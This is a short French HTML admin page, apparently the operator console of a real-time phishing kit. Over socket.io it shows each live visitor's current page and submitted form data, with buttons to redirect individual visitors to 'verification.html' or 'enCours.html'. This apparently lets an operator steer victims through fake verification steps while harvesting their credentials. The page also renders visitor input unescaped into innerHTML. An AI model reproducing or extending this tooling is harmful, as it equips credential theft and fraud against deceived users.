/home2/mshostin/.trash/remote_panel/public/admin.html
<!DOCTYPE html>
<html lang="fr">
<head>
<meta charset="UTF-8">
<title>Panel Admin</title>
<script src="https://cdn.socket.io/4.7.1/socket.io.min.js"></script>
<style>
body { font-family: Arial; padding: 20px; }
.visitor { border: 1px solid #ccc; padding: 10px; margin: 5px; }
button { margin: 5px 5px 0 0; }
</style>
</head>
<body>
<h1>Panel Admin</h1>
<h2>Liste des visiteurs</h2>
<div id="visitors"></div>
<script>
const socket = io('/remote_app');
let visitors = {};
// Met à jour l’affichage des visiteurs
function renderVisitors(visitorsData) {
visitors = visitorsData;
const container = document.getElementById('visitors');
container.innerHTML = '';
for (let id in visitorsData) {
const v = visitorsData[id];
const div = document.createElement('div');
div.className = 'visitor';
div.innerHTML = `<strong>ID:</strong> ${id}<br>
<strong>Page:</strong> ${v.page}<br>
<strong>Form:</strong> ${JSON.stringify(v.formData)}<br>`;
// Boutons de redirection individuelle
const btn1 = document.createElement('button');
btn1.textContent = 'Rediriger vers verification.html';
btn1.onclick = () => socket.emit('redirectVisitor', { id, page: 'verification.html' });
const btn2 = document.createElement('button');
btn2.textContent = 'Rediriger vers enCours.html';
btn2.onclick = () => socket.emit('redirectVisitor', { id, page: 'enCours.html' });
div.appendChild(btn1);
div.appendChild(btn2);
container.appendChild(div);
}
}
// Recevoir la liste des visiteurs
socket.on('visitorList', data => renderVisitors(data));
</script>
</body>
</html>